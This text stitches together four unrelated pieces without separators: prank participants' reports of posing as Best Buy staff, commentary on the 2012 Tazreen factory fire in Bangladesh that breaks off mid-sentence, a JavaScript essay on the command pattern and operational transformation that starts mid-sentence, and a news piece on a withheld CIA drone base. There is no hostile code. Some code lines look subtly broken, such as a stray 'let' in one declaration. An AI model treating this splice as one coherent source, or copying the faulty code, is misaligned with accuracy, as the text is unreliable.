I had to hang around for quite awhile waiting for my friend (who did a better job of hiding than I did – he was hanging out by the calculators waiting to tell unsuspecting customers who asked him a question, any question: “I’m sorry, I’m the calculator guy, and calculators are all I know about.”), so I got to hear lots of other stories, including one who said a customer was carping about us to a manager because “they won’t do anything and they won’t tell us what they’re protesting!” I also saw one guy who thought the gag was pretty funny, and on his way out of the store he said “Well done, guys.” So all in all, I think a success!
Agent Gregor
An old man asked me to help him get down a big box from a top shelf for him. I began to try to get the box, when I realized I was way too short to actually get it, and at best I’d knock it off the shelf. I then told him, “You know I don’t work here, sir?”
He was so confused, and just pointed at my shirt, began to laugh, and apologized. He went to another nearby ACTUAL-Best Buy employee, and said, “Looks like your twin!” The Best Buy employee did not share a laugh with him.
Agent Sara
I really enjoyed selling a phone to a customer, recommending different products, talking a couple out of buying a particular washing machine, and referring a customer to a Best Buy employee when I couldn’t quite help him with his question about a cord extension for his speakers. It was also really fun talking to the other employees and calling them by name as if they knew me- “Hey Randy this woman needs more help with…”
Agent Steinberg
Here are some bullet points from my observations:
1. I waited to enter the store so I’d be toward the tail end of the group. The first thing I heard was the manager walking rapidly through the store with her walkie. She was saying, “I want every available person on the floor right now…!”
2. Shortly thereafter, several of the more official-looking employees were walking rapidly around the store saying, apparently for the benefit of the ears of all blue shirts they did not recognize, “…the cops have been called…” They said this as they walked by me, as if in the middle of a conversation, and I understand they repeated this again for others to hear. A clever strategy on their part, I thought.
Soon afterward some of our agents walked around passing this information along to their fellows in an under-the breath way. (It was suggested afterward that one thing we could have done is informed the regular customers of this fact, as well: “Just wanted you to know the cops have been called, so don’t panic.”)
3. An employee, who seemed to dog me through the store, walked up beside me near the refrigerators. “So, you guys get bored or something?” he asked in an offhand, amiable way. I looked blank: “Huh?” He repeated it. “You guys all got bored and so you got blue shirts and came in here…?”
I said, “I’m sorry, but I don’t understand what you mean. If you mean, am I bored, it’s true I’m kind of bored because I’m waiting for someone.” He then changed tactics. “It’s really cold today, right, and raining like [some off-color phrase], isn’t it? Isn’t it a bit cold for the shirts? I mean, short sleeves and all?” I assured him it was now sunny and warm and he should check it for himself. As I was no help, he excused himself and went elsewhere.
4. I was asked “Can I help you” by several people over time. I found the best answer, besides my story that I was waiting for my wife shopping for baby supplies across the street at Burlington Coat Factory, was to actually ask some question about something in the store. “Is that a rear projection screen or is there a projector somewhere?” “Is that screen more or less effective in terms of glare if there’s bright sunlight?” That sort of thing. They would answer me and I’d say “thanks” and look off into the distance; they must have felt that somehow I had just proven my right to be in the store, because in each case they then left me alone.
5. For a bit I stationed myself at the foot of the escalator so the maximum number of store patrons would ask me for directions. This worked not so very well. Then I decided to freak out the fellow(s) watching me a bit and for some time I would check my watch, then go up the escalator and hang out at the top. After a few minutes, I checked the time again and went back down, as if there were some reason to be one place or the other. (Later other agents and I thought it would have been more fun if I’d touched my ear and looked like I was receiving instructions through an implant, nodded and proceeded to change position, rather than merely checking the watch.)
6. As I hung out on the top floor, hoping to overhear something being said by the employees talking with the cops, a guy in a black jacket walked up and warned me, “You’re going to have to leave. The police are going to start arresting people if you don’t leave.” I had been talking with an employee at that moment, and as the man moved away I looked at the employee with a confused expression and asked “Do we know him?” The employee said nothing. I asked, “Does he work here?” but the employee moved away. I still don’t know if the man worked for the store. He might have been an undercover agent of the store.
7. Another employee — or the same one; they all dress alike, I noticed — asked “You guys all together? You come as a group?” I gave him my patented blank look. “What do you mean? I’m just here by myself.” Like the other very confused employees, he wasn’t sure how to follow up on this line of questioning and went away.
8. Being as I was near the very front door of the store at 4:45, I was perhaps the first person told by the police to vacate. “Are you shopping?” said the policeman. “No, I’m just waiting.” “All the people wearing blue shirts who are not employees of Best Buy have to leave right now. You have to leave right now.” I obliged, looking inconvenienced.
Agent Firth
I was one of the earlier entries into the store and as I walked around trying to get a feel for the layout I overheard some employees already on alert. One of them was giving orders to the others, “Eyes open. Eyes open. Anyone wearing a blue shirt. Eyes open.’
I found a comfortable spot by a pillar in front of a TV. I hoped I could look like a bored employee to random customers and like a bored customer to random employees. Almost immediately somebody asked me for help finding a certain Bose speaker system. I told the customer I wasn’t sure but I’d get one of the women who work in this section to help him. I found two female employees chatting and said, “There’s a customer who wants help finding Bose speakers. Can you help him?” They seemed reluctant to, maybe they thought I was trying to give them orders or something, but one of them came and I introduced her to the customer then went back to my post.
One of the male employees was particularly take charge. He questioned me early on about what was going on. The typical “What are you up to?/I have no idea what you’re talking about” conversation. I did let him know that a customer had asked me about speakers and that I had found an employee to help and he said “Thank you” and stopped questioning me.
Another customer got my attention in a more rude way by snapping his fingers and saying hello then going into the aisle a few rows down before waiting for a response. So I followed him to where he was with his wife looking at cordless phones. He seemed to be ignoring me so I asked, “Were you talking to me?” and he replied “Yes” very annoyed and asked me something about the frequencies. So once again I hooked them up with an employee. I continued to do that for the rest of the questions I received.
One customer got particularly annoyed. She came up demanding, “Do you work here?” When I said I didn’t she said, “Then why are you wearing a blue shirt? You shouldn’t come here in that shirt.” She too got taken care of by a real employee. After some time the employee who had questioned and thanked me earlier came back really pissed. We had a conversation that went something like:
“I’m going to have to ask you to leave.”
“You’re kicking me out?”
“No, I’m not saying that.”
“Ok, then I can stay?”
“You’re not buying anything.”
“I’m waiting for my friend, just watching TV while I wait.”
“I’m asking you to leave.”
“Are you kicking me out?”
“No.”
This repeated in various versions until eventually he conceded with, “Fine, just do what you have to do.” Agent Todd also overheard him add, “Have fun,” as he walked away. A little while later a more managerial guy came by simply saying, “You can stay there, but just don’t help our customers.” Before I could respond he was already moving on to give the warning to the next blue shirt in sight. I grew tired of my spot and walked around. I went to a bathroom that I had seen on my initial scout of the store but when I got to it I noticed it had an Employees Only sign. I considered it for a moment, but I didn’t want to push my trespassing luck so I moved on.
The last and best-overheard moment was two employees who were actually getting a kick out of the whole thing saying, “These guys rock!” They started discussing some part they needed. “You’ve got to go to the warehouse and get it yourself… or send one of these guys to do it.” The other guy agreed he should send me.
Mission Accomplished.
OTHER RESOURCES:
Agent Nicholson’s Flickr photoset (highlights)
Agent Nicholson’s Flickr photoset (128 photos)
Look for more agent reports in the comments section, below.The brutal face of global capitalism
28 November 2012
The worst factory fire in Bangladesh’s history, which broke out on Saturday night in the Ashulia industrial zone, has exposed the ugly workings of global capitalism.
At least 112 workers died in the blaze, either through suffocation and burns, or from jumping out of the eight-storey building in a desperate attempt to escape. The fire, which began on the ground floor, where flammable textile and yarn was stored, blocked the stairs. The only other exits were locked.
Photographs of the burnt-out Tazreen Fashions building show rows of incinerated workspaces where hundreds of workers produced clothes for major European and American corporations, including Walmart and the C&A retail chain. The lack of elementary fire safety precautions was matched by long hours, poor conditions and low pay. Survivors explained that they were owed three months of unpaid wages, plus bonuses.
In the fire’s immediate aftermath, a well-practised cover-up swung into operation at all levels. The government, local and national authorities and employers’ groups shed a few crocodile tears over the deaths, announced sham inquiries and promised pittances in compensation to the families of the victims. All of this is aimed at silencing critics and preventing unrest until the story drops out of the news.
At the same time, police, soldiers and the country’s notorious Rapid Action Battalion (RAB) were deployed against distraught and angry relatives at the scene and also protests by workers that erupted on Monday. To justify the security build-up in the industrial zones, Prime Minister Sheikh Hasina Wajed told parliament, without a shred of evidence, that the fire was “pre-planned”—that is, an act of sabotage—directed at destabilising the government.
All the global corporations sourcing their goods in Bangladesh have sought to distance themselves from the tragedy. PVH, Nike, Gap, American Eagle Outfitters and the French company Carrefour released statements declaring that their products were not made at the Tazreen garment factory. After its brand labels were found at the scene, Walmart blamed a supplier that subcontracted work to the factory, allegedly without authorisation.
In countries like Bangladesh, international corporations, working with trade unions and non-government organisations, have established various inspection systems for safety and working conditions. These supposedly independent audits are a charade designed to protect brand names and profits, and avoid legal liability. The European retailer C&A, which had ordered sweatshirts from Tazreen Fashions, has acknowledged that its so-called mandatory audit simply had not been carried out.
None of these giant companies makes the same mistake when it comes to meticulously detailing the manufacture, quality and cost of the items being made in Bangladesh’s sweatshops. They are all well aware that improvements to working conditions, safety standards and poverty-level wages will only lift the price, and so they turn a blind eye.
The conditions at the Tazreen Fashions factory were not the exception, but the rule. Saturday’s fire was simply the worst of the blazes that have claimed at least 500 lives since 2006. The garment industry in Bangladesh has expanded over the past three decades to become the second largest in the world, after China, precisely because its wages are the lowest of the cheap labour platforms.
A comment in Bangladesh’s Financial Express yesterday detailed the appalling conditions throughout the garment sector: “Only a few owners of garment factories pay the monthly wages and overtime bills to their workers in time… In most factories, the owners deliberately keep at least two months’ salary and overtime bills of the workers in arrears. The management does hiring and firing of workers randomly and the retrenched workers, in most cases, are not paid their dues. Further, in the absence of weekly holidays, the workers, their families and their children are all severely affected both mentally and physically.
“Most garment factories in Bangladesh have no minimum safety measures, not even the required number of fire extinguishers. Some 227 factories in Dhaka alone do
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algorithms that provide eventual consistency across a distributed system.
In 2016, software is parallel and distributed by default. And the command pattern deserves another look, with fresh eyes.
The “canonical example” of the command pattern is working with mutable data. Here’s one such example, chosen because it fits on a couple of sides:
class Buffer { constructor ( text = '' ) { this. text = text ; } replaceWith ( replacement, from = 0, to = this. text. length ) { this. text = this. text. slice ( 0, from ) + replacement + this. text. slice ( to ); return this ; } toString () { return this. text ; } } let buffer = new Buffer (); buffer. replaceWith ( "The quick brown fox jumped over the lazy dog" ); buffer. replaceWith ( "fast", 4, 9 ); buffer. replaceWith ( "canine", 40, 43 ); //=> The fast brown fox jumped over the lazy canine
We have buffer that contains some plain text, and it has a single behaviour, a replaceWith method that replaces a selection of the buffer with some new text. Insertions can be managed by replacing a zero-length selection, and deletions can be handled by replacing a selection with the empty string.
Ten years ago, Steve Yegge described OOP as a Kingdom of Nouns: Everything is an object and objects own their behaviours.
There is a very explicit idea that objects model entities in the real world, and methods model changes to those entities. Objects are “first-class:” They can be stored in variables, we can query them for their properties, and we can transform them into different states or different entities altogether.
Many languages also permit us to treat methods as first-class entities. In Python, we can easily extract a bound method from an object. In Ruby, we can manipulate both bound and unbound methods. In JavaScript, methods are just functions.
Typically, treating methods as first-class entities is rarer than treating “nouns” as first-class entities, but it is possible. This forms the basis of meta-programming techniques like writing method decorators.
But the command pattern concerns itself with invocations. An invocation is a specific method, invoked on a specific receiver, with specific parameters:
Classes are to instances as methods are to invocations.
If an invocation was a first-class entity, we could store it in a variable or data structure. Let’s try it:
class Edit { constructor ( buffer, { replacement, from, to }) { this. buffer = buffer ; Object. assign ( this, { replacement, from, to }); } doIt () { this. buffer. text = this. buffer. text. slice ( 0, this. from ) + this. replacement + this. buffer. text. slice ( this. to ); return this. buffer ; } } class Buffer { constructor ( text = '' ) { this. text = text ; } replaceWith ( replacement, from = 0, to = this. text. length ) { return new Edit ( this, { replacement, from, to }); } toString () { return this. text ; } } let buffer = new Buffer (), jobQueue = []; jobQueue. push ( buffer. replaceWith ( "The quick brown fox jumped over the lazy dog" ) ); jobQueue. push ( buffer. replaceWith ( "fast", 4, 9 ) ); jobQueue. push ( buffer. replaceWith ( "canine", 40, 43 ) ); while ( jobQueue. length > 0 ) { jobQueue. shift (). doIt (); } //=> The fast brown fox jumped over the lazy canine
Since we’re taking an OO approach, we’ve created an Edit class that represents invocations. Each instance is an invocation, and thus we can create new invocations with new Edit(...) and actually perform the invocation with.doIt().
In this example, we’ve created a job queue, deferring a number of invocations until we pop them off the queue and perform them. Note that “invoking” methods on a buffer no longer does anything: Instead, they return invocations we manipulate explicitly.
This is the canonical way to “do commands” in OOP: Make them instances of a class and perform them with a method. There are other ways to implement the command pattern, and it can be implemented in FP as well, but for our purposes this is enough to explore its applications.
We can also query commands. Naturally, we do this by implementing methods that report on some critical characteristic, like a command’s scope. For simplicity, we won’t implement a.scope() method that reports the extent of an edit’s selection, since JavaScript encourages unencapsulated direct property access.
But we can report on the amount by which an edit lengthens or shortens a buffer:
class Edit { netChange () { return this. from - this. to + this. replacement. length ; } } let buffer = new Buffer (); buffer. replaceWith ( "The quick brown fox jumped over the lazy dog" ). netChange (); //=> 44 buffer. replaceWith ( "fast", 4, 9 ). netChange (); //=> -1
This can be useful.
First-class entities can also be transformed. And here we come to the most interesting application of commands. Here’s a.reversed() method that returns the inverse of any edit:
class Edit { reversed () { let replacement = this. buffer. text. slice ( this. from, this. to ), from = this. from, to = from + this. replacement. length ; return new Edit ( buffer, { replacement, from, to }); } } let buffer = new Buffer ( "The quick brown fox jumped over the lazy dog" ); let doer = buffer. replaceWith ( "fast", 4, 9 ), undoer = doer. reversed (); doer. doIt (); //=> The fast brown fox jumped over the lazy dog undoer. doIt (); //=> The quick brown fox jumped over the lazy dog
Let’s put our storing and transforming together. Instead of returning a command from the replaceWith method, we’ll create a doer command, and push its reverse onto a history stack. We’ll then invoke doer.doIt() to actually perform the replacement on the buffer:
class Buffer { constructor ( text = '' ) { this. text = text ; this. history = []; this. future = []; } } class Buffer { replaceWith ( replacement, from = 0, to = this. length ()) { let doer = new Edit ( this, { replacement, from, to }), undoer = doer. reversed (); this. history. push ( undoer ); this. future = []; return doer. doIt (); } }
Implementing undo is straightforward: Pop an undoer from the stack, create a redoer for later, push the redoer onto a future stack, and invoke the undoer:
class Buffer { undo () { let undoer = this. history. pop (), redoer = undoer. reversed (); this. future. unshift ( redoer ); return undoer. doIt (); } } let buffer = new Buffer ( "The quick brown fox jumped over the lazy dog" ); buffer. replaceWith ( "fast", 4, 9 ) //=> The fast brown fox jumped over the lazy dog buffer. replaceWith ( "canine", 40, 43 ) //=> The fast brown fox jumped over the lazy canine buffer. undo () //=> The fast brown fox jumped over the lazy dog buffer. undo () //=> The quick brown fox jumped over the lazy dog
Redoing something we’ve undone is now simple:
class Buffer { redo () { let redoer = this. future. shift (), undoer = redoer. reversed (); this. history. push ( undoer ); return redoer. doIt (); } } buffer. redo () //=> The fast brown fox jumped over the lazy dog buffer. redo () //=> The fast brown fox jumped over the lazy canine
And again, its reverse goes onto the history so we can toggle back and forth between undoing and redoing.
Like the slide says, this is the basic idea you’ll find in the GoF book as well as in 1980s tomes on OO programming. I recall an Object Pascal book using this pattern to implement undo within the MacApp framework in the late 1980s.
Our example hits all three of the characteristics of invocations as first-class entities. But that isn’t really enough to “provoke our intellectual curiosity.” So let’s consider a more interesting direction.
coupling through time
We begin by asking a question.
Recall this code for replacing text in a buffer:
class Buffer { replaceWith ( replacement, from = 0, to = this. length ()) { let doer = new Edit ( this, { replacement, from, to }), undoer = doer. reversed (); this. history. push ( undoer ); this. future = []; return doer. doIt (); } }
Note that when we perform a replacement, we execute this.future = [], throwing away any “redoers” we may have accumulated by undoing edits.
Let’s try not throwing it away:
class Buffer { replaceWith ( replacement, from = 0, to = this. length ()) { let doer = new Edit ( this, { replacement, from, to }), undoer = doer. reversed (); this. history. push ( undoer ); // this.future = []; return doer. doIt (); } } let buffer = new Buffer ( "The quick brown fox jumped over the lazy dog" ); buffer. replaceWith ( "fast", 4, 9 ); //=> The fast brown fox jumped over the lazy dog buffer. undo (); //=> The quick brown fox jumped over the lazy dog buffer. replaceWith ( "My", 0, 3 ); //=> My quick brown fox jumped over the lazy dog
We’ve performed a replacement, then we’ve undone the replacement, restoring the buffer to its original state. Then we performed a different replacement. But since our code no longer discards the future, a redoer is still in this.future.
Unfortunately, the result is not what we expect semantically:
What went wrong?
As the illustration shows, when we first performed.replaceWith('fast', 4, 9), it replaced the characters q, u, i, c, and k, because those were in the selection between 4 and 9 of the buffer.
Our redoer in the future performs this same replacement, but now that we’ve invoked.replaceWith('My', 0, 3), the characters in the selection between 4 and 9 are now u, i, c, k, and ` `, a blank space.
Invoking.replaceWith('My', 0, 3) has moved the part of the buffer we semantically want to replace.
If we step through the invocations, we can see that when we first invoke.replaceWith('fast', 4, 9), no other edits were invoked before it.
Then after undoing it and invoking.replaceWith('My', 0, 3), we have created a situation where.replaceWith('My', 0, 3) is now before.replaceWith('fast', 4, 9) in the future. If we invoke it, we see this clearly as it moves to the past, but it is now preceded by.replaceWith('My', 0, 3) :
It turns out that commands are first-class entities, but there is a spooky relationship between them and the models they manipulate, thanks to cause-and-effect. They aren’t 100% independent entities that can be invoked in any order, any number of times.
Commands mutating a model have a semantic dependency on all of the commands that have mutated the model in the past. If you change the order of commands, they may no longer be semantically valid. In some cases, they could even become logically invalid.
Semantically, we can think that if we alter the history of edits before invoking a command, we are altering the meaning of the command. Replacing The with My altered the meaning of.replaceWith('fast', 4, 9).
adjusting for changes in history
Let’s go about fixing this specific problem, that of commands altering the position of other commands. We being with another query, we can ask whether a particular edit is before another edit, meaning that A is before B if A affects a selection of text that entirely precedes the selection affected by B.
let buffer = new Buffer ( "The quick brown fox jumped over the lazy dog" ); let fast = new Edit ( buffer, { replacement : "fast", from : 4, to : 9 } ); let my = new Edit ( buffer, { replacement : "My", from : 0, to : 3 } ); class Edit { isBefore ( other ) { return other. from >= this. to ; } } fast. isBefore ( my ); //=> false my. isBefore ( fast ); //=> true
Equipped with.isBefore and.netChange(), we can write.prependedWith method that takes an edit, and returns a new version of the edit that corrects for any change caused by prepending another edit into its history.
There are two cases we cover: If we write a.prependedWith(b), and a is before b, then we return a since b doesn’t change its semantic meaning. But if we write a.prependedWith(b), and b is before a, then we return a copy of a that has been adjusted by the amount of b ’s net change:
class Edit { prependedWith ( other ) { if ( this. isBefore ( other )) { return this ; } else if ( other. isBefore ( this )) { let change = other. netChange (), { replacement, from, to } = this ; from = from + change ; to = to + change ; return new Edit ( this. buffer, { replacement, from, to }) } } } my. prependedWith ( fast ) //=> buffer.replaceWith("My", 0, 3) fast. prependedWith ( my ) //=> buffer.replaceWith("fast", 3, 8) my. prependedWith ( fast ) //=> buffer.replaceWith("My", 0, 3) fast. prependedWith ( my ) //=> buffer.replaceWith("fast", 3, 8)
With this in hand, we see what to do with this.future : Whenever we invoke a fresh command, we must replace all of the edits in the future with versions prepended with the command we’re invoking, thus adjusting them to maintain the same semantic meaning:
class Buffer { replaceWith ( replacement, from = 0, to = this. length ()) { let doer = new Edit ( this, { replacement, from, to }), undoer = doer. reversed (); this. history. push ( undoer ); this. future = this. future. map ( ( edit ) => edit. prependedWith ( doer ) ); return doer. doIt (); } }
let buffer = new Buffer ( "The quick brown fox jumped over the lazy dog" ); buffer. replaceWith ( "fast", 4, 9 ); //=> The fast brown fox jumped over the lazy dog buffer. undo (); //=> The quick brown fox jumped over the lazy dog buffer. replaceWith ( "My", 0, 3 ); //=> My quick brown fox jumped over the lazy dog buffer. redo ();
Now we get the correct result!
the bigger picture
Once upon a time, “undo” was a magical feature for single users. It transformed the software experience for users, because they could act without fear of making irreversible catastrophic mistakes. There was a natural progression to undo and redo stacks. But it was rare that applications went further.
Only the most esoteric would surface the undo and redo stacks, permitting execution of arbitrary commands from the redo stack, or maintained the redo stack after performing new edits (as we’ve implemented here). This is a neat feature, but challenging to design into an application in the “real world.” It’s challenging to set user expectations about what the redo command will do.
But not all implementations of commands have a direct representation in the user experience. And if we put aside the problem of user experience, we have a very strong takeaway from dealing with maintaining the future while inserting new edits into the history. While it’s just one limited example, it hints at being able to arbitrarily manipulate history, inserting, removing, or reordering edits as we desire.
This is a very powerful concept: Typically, we are slaves to mutable state. It moves forward inexorably. Taming it is a struggle. But commands suggest a way to take control.
Part II: Software in a Distributed World
Alice and Bob are writing a screenplay. Naturally, their editors use our buffers and edits:
let alice = new Buffer ( "The quick brown fox jumped over the lazy dog" ); let bob = new Buffer ( "The quick brown fox jumped over the lazy dog" );
To keep the code simple, we’ll omit some of the moving parts to support undoing edits from our command-oriented Buffer class:
class Buffer { constructor ( text = '' ) { this. text = text ; this. history = []; } replaceWith ( replacement, from = 0, to = this. length ()) { let edit = new Edit ( this, { replacement, from, to } ); this. history. push ( edit ); return edit. doIt (); } }
Now we want to synchronize the screenplay, so that Alice can see Bob’s change, and Bob can see Alice’s change. So, naturally, Alice sends Bob her change, and Bob sends Alice his change. We want to apply those changes so that we end up with both Alice and Bob looking at identical buffers.
What we want to do looks like this:
Alice and Bob each perform a different edit, causing their buffers to diverge. We want to apply each other’s edits in such a way that they converge back to a consistent view of the buffer.
We can try that:
class Buffer { append ( theirEdit ) { this. history. forEach ( ( myEdit ) => { theirEdit = theirEdit. prependedWith ( myEdit ); }); return new Edit ( this, theirEdit ). doIt (); } appendAll ( otherBuffer ) { otherBuffer. history. forEach ( ( theirEdit ) => this. append ( theirEdit ) ); return this ; } }
Now we can write alice.appendAll(bob) to apply all of Bob’s edits to Alice’s copy of the buffer. And we can write bob.appendAll(alice) to apply all of Alice’s edits to Bob’s copy of the buffer. Problem solved?
alice. appendAll ( bob ); //=> My fast brown fox jumped over the lazy dog bob. appendAll ( alice ); //=> My fast brown fox jumped over the lazy dog
This appears to work: By prepending the exiting edits onto edits being appended to a buffer, we transform the new edits to producet the same result, synchronizing the buffers.
Unfortunately, there’s a bug.
A big bug!
What happens if we try to append again? Since neither Alice nor Bob have made any further edits, the buffers should remain unchanged. But they don’t:
alice. appendAll ( bob ); //=> My fastbrown fox jumped over the lazy dog bob. appendAll ( alice ); //=> Myfast brown fox jumped over the lazy dog
Our append methods are applying each edit all over again. To fix that, we have to modify our algorithm to pay attention to whether edits already exist in a buffer or edit’s history. First, let’s upgrade our edits and give them a guid we can use to identify them, as well as a set of the guids of the edits that came before them:
let GUID = () => { let _p8 = ( s ) => { let p = ( Math. random (). toString ( 16 ) + "000000000" ). substr ( 2, 8 ); return s? "-" + p. substr ( 0, 4 ) + "-" + p. substr ( 4, 4 ) : p ; } return _p8 () + _p8 ( true ) + _p8 ( true ) + _p8 (); } class Edit { constructor ( buffer, { guid = GUID (), befores = new Set (), replacement, from, to }) { this. buffer = buffer ; befores = new Set ( befores ); Object. assign ( this, { guid, replacement, from, to, befores }); } }
Our buffers will also track the guids of the edits in their history:
class Buffer { constructor ( text = '', history = []) { let befores = new Set ( history. map ( e => e. guid )); history = history. slice ( 0 ); Object. assign ( this, { text, history, befores }); } share () { return new Buffer ( this. text, this. history ); } has ( edit ) { return this. befores. has ( edit. guid ); } }
We’ll refactor replaceWith to extract a.perform(edit), it will simplify a lot of what’s coming:
class Buffer { perform ( edit ) { if (! this. has ( edit )) { this. history. push ( edit ); this. befores. add ( edit. guid ); return edit. doIt (); } } replaceWith ( replacement, from = 0, to = this. length ()) { let befores = this. befores, let edit = new Edit ( this, { replacement, from, to, befores } ); return this. perform ( edit ); } }
Now our append method can be fixed to prepend every edit with everything in its history, much as we did with fixing redo :
class Buffer { append ( theirEdit ) { this. history. forEach ( ( myEdit ) => { theirEdit = theirEdit. prependedWith ( myEdit ); }); return this. perform ( new Edit ( this, theirEdit )); } }
Here’s an updated appendAll that only appends edits that aren’t already in the history. What? We didn’t mention that was another bug in the code? Silly us.
class Buffer { appendAll ( otherBuffer ) { otherBuffer. history. forEach ( ( theirEdit ) => this. has ( theirEdit ) || this. append ( theirEdit ) ); return this ; } }
Now we’re finally ready to update the prependedWith method to check whether an edit is “before” another edit, is the same as another edit, or is already in the edit’s history:
class Edit { prependedWith ( other ) { if ( this. isBefore ( other ) || this. befores. has ( other. guid ) || this. guid === other. guid ) return this ; let change = other. netChange (), { guid, replacement, from, to, befores } = this ; from = from + change ; to = to + change ; befores = new Set ( befores ); befores. add ( other. guid ); return new Edit ( this. buffer, { guid, replacement, from, to, befores }); } }
With all these changes in place, Alice and Bob can exchange edits at will. Let’s try it!
alice, bob, and carol
Alice, Bob and Carol are writing a screenplay.
let alice = new Buffer ( "The quick brown fox jumped over the lazy dog" ); let bob = alice. share (); //=> The quick brown fox jumped over the lazy dog alice. replaceWith ( "My", 0, 3 ); //=> My quick brown fox jumped over the lazy dog let carol = alice. share (); //=> My quick brown fox jumped over the lazy dog bob. replaceWith ( "fast", 4, 9 ); //=> The fast brown fox jumped over the lazy dog alice. appendAll ( bob ); //=> My fast brown fox jumped over the lazy dog bob. appendAll ( alice ); //=> My fast brown fox jumped over the lazy dog alice. replaceWith ( "spotted", 8, 13 ); //=> My fast spotted fox jumped over the lazy dog bob. appendAll ( alice ); //=> My fast spotted fox jumped over the lazy dog carol. appendAll ( bob ); //=> My fast spotted fox jumped over the lazy dog
It works!
Or rather, it works for some definition of “works.” The algorithm we just implemented is called Operational Transformation, and John Gentle’s quote above is pertinent.
We’ve completely omitted the problem of overlapping edits. We’re working with a remarkably simple data model, a string. Even so, what if Alice, Bob, and Carol each make edits that don’t conflict with each other when compared individually: Can we guarantee that we can apply them in any order and not end up with a conflict?
And if we imagine trying to use these techniques to maintain consistency while multiple users edit a complex data structure with internal references, things get complicated. For example, what if we have users, each of whom have multiple addresses, and one person deletes an address that another person is editing. What happens then?
Our algorithm skipped over undos. Are undo queues local? Or can you undo an edit another user makes?
OT relies on making a very careful analysis of the different kinds of edits that can be made, and determining exactly how to transform them when prepended by any other edit. Even then, it is hairy.
Recognizing this, people have come up with other mechanisms for distributing edits. Mapping commands 1-1 with user actions is necessary for undo. But it is hard to infer user intentions from their actions: What if instead of selecting a word and replacing it with another, Alice backspaces five times and then types four letters. Is that nine edits? Two edits? Or one?
And it may not be necessary for us to infer actions to synchronize documents. We can, for example, regularly take a diff of the document and send that off to be synchronized. That’s the Differential Synchronization algorithm, and it’s how Google Docs originally worked when Google acquired Writely:
At it’s heart, though, we’re still dealing with the idea that we don’t just treat physical entities–nouns–as our software entities. We also model changes as first-class entities that can be stored, queried, and edited.
Part III: Commands, More Useful Now Than Ever
Working with distributed changes is now a very, very big problem space. Software is no longer living on one device. We chat, we have distributed sessions, we demand eventual consistency from our data.
Everything we do in these areas requires treating changes as first-class entities.
“There are only two hard problems in Computer Science: Cache invalidation, and naming things.”–Phil Karlton
What if we take the names of our Buffer class:
And changed them:
Does this look familiar? We’ve discussed reordering time for an individual user, and we’ve discussed synchronizing changes across distributed users. But we now write software that puts control of cause and effect in the hands of distributed users as well.
Being able to fork repositories, cherry-pick changes to apply, and merge (or rebase) changes is another aspect of the same concept: Changes as first-class entities. What new user models can we develop if we take that kind of thinking to other kinds of software?
Will there one day be a version of PowerPoint that allows someone to submit a pull request to a presentation? If there is, it will be because somebody modeled presentations as commands rather than as big binary data blobs.
Getting back to OT and DS, synchronizing data is far more than supporting simultaneous document editing. Database systems often model transactions as commands or collections of commands, and use various types of protocols to permit the commands to execute in parallel without blocking each other.
Replicated data stores use distributed algorithms built out of commands to propagate changes and guarantee consistency.
And synchronizing data is far more than distributed editing applications and databases. We are in a world where people expect their documents and applications to sync everything, all the time, over unreliable channels.
This is no longer a special feature of specialized applications It’s the new normal.
So back to the Command Pattern. Sure, it’s twenty years old. Sure, undoing user edits is well-understood. But we should never look at a pattern and think that because we understand the example use case for the pattern, we understand everything about the pattern.
For the command pattern, undo is the example, but treating invocations as first-class entities that can be stored, queried, and transformed is the underlying idea. And the opportunity to use that idea has never been greater.
image credits
https://www.flickr.com/photos/fatedenied/7335413942 https://www.flickr.com/photos/fatedenied/7335413942 https://www.flickr.com/photos/mwichary/2406482529 https://www.flickr.com/photos/tompagenet/8580371564 https://www.flickr.com/photos/ooocha/2869485136 https://www.flickr.com/photos/oskay/2550938136 https://www.flickr.com/photos/baccharus/4474584940 https://www.flickr.com/photos/micurs/4906349993 https://www.flickr.com/photos/purdman1/2875431305 https://www.flickr.com/photos/daryl_mitchell/15427050433 https://www.flickr.com/photos/the00rig/3753005997 https://www.flickr.com/photos/robbie1/8656027235 https://www.flickr.com/photos/mwichary/2406489333 https://www.flickr.com/photos/pedrosimoes7/17386505158 https://www.flickr.com/photos/a-barth/2846621384 https://www.flickr.com/photos/mleung311/9468927282 https://www.flickr.com/photos/bludgeoner86/5590795033 https://www.flickr.com/photos/49024304@N00/ https://www.flickr.com/photos/29143375@N05/4575806708 https://www.flickr.com/photos/30239838@N04/4268147953 https://www.flickr.com/photos/benetd/4429314827 https://www.flickr.com/photos/shimgray/2811100997 https://www.flickr.com/photos/wordridden/4308645407 https://www.flickr.com/photos/sidelong/18620995913 https://www.flickr.com/photos/stawarz/3848824508 https://www.flickr.com/photos/mwichary/3338901313
notesAs incoming CIA chief John Brennan prepares to answer questions from Congress, some of the biggest names in US media are under attack for hiding a secret drone base that the Obama nominee helped build.
Reports in the New York Times and Washington Post this week confirm that the United States Central Intelligence Agency, which Brennan might very soon head, established a top-secret launching pad in Saudi Arabia used to send American drones into Yemen.
From that elusive fort, the Obama administration gave the go-ahead for an unmanned aerial vehicle to travel into Yemen only months after the base was built in order to kill US citizen and suspected al-Qaeda operative Anwar al-Awlaki. Over a year later, the September 2011 death of al-Awlaki remains an issue of debate, and is expected to take center stage during Thursday afternoon’s confirmation hearing for Mr. Brennan, who will take the helm of the CIA if Congress approves of his testimony on the Hill.
But while lawmakers are expected to offer hard-hitting questions regarding Brennan’s role in the administration’s drone program, US media is being attacked as well, albeit by critics who condone the fact that the Fourth Estate by-and-large left America in the dark about an important aspect of the country’s foreign policy.
"It's been an open secret that it was there," one former national security official says of the base to ABC News on condition of anonymity this week.
Despite having been identified by members of the press as early as 2011, the Saudi drone base has been left largely unreported by the US media until now. Just this week, the Post and Times both admitted that they were aware of the facility all along but complied with the CIA request to withhold this information.
“The Washington Post had refrained from disclosing the location at the request of the administration, which cited concern that exposing the facility would undermine operations against an al-Qaeda affiliate regarded as the network’s most potent threat to the United States, as well as potentially damage counterterrorism collaboration with Saudi Arabia,” the paper explains.
In a post published by the New York Times’ public editor on Wednesday, Margaret Sullivan shares that her paper stuck to the same theory:
“The Times and other news organizations, including The Washington Post, had withheld the location of that base at the request of the CIA,” she says.
Staying silent on information pursuant to national security isn’t unusual, but in the midst of an intensifying robot war overseas — and the potential appointment of the man who orchestrated it to a powerful new position — the Post and Times as well as Associated Press are being called complicit by their critics.
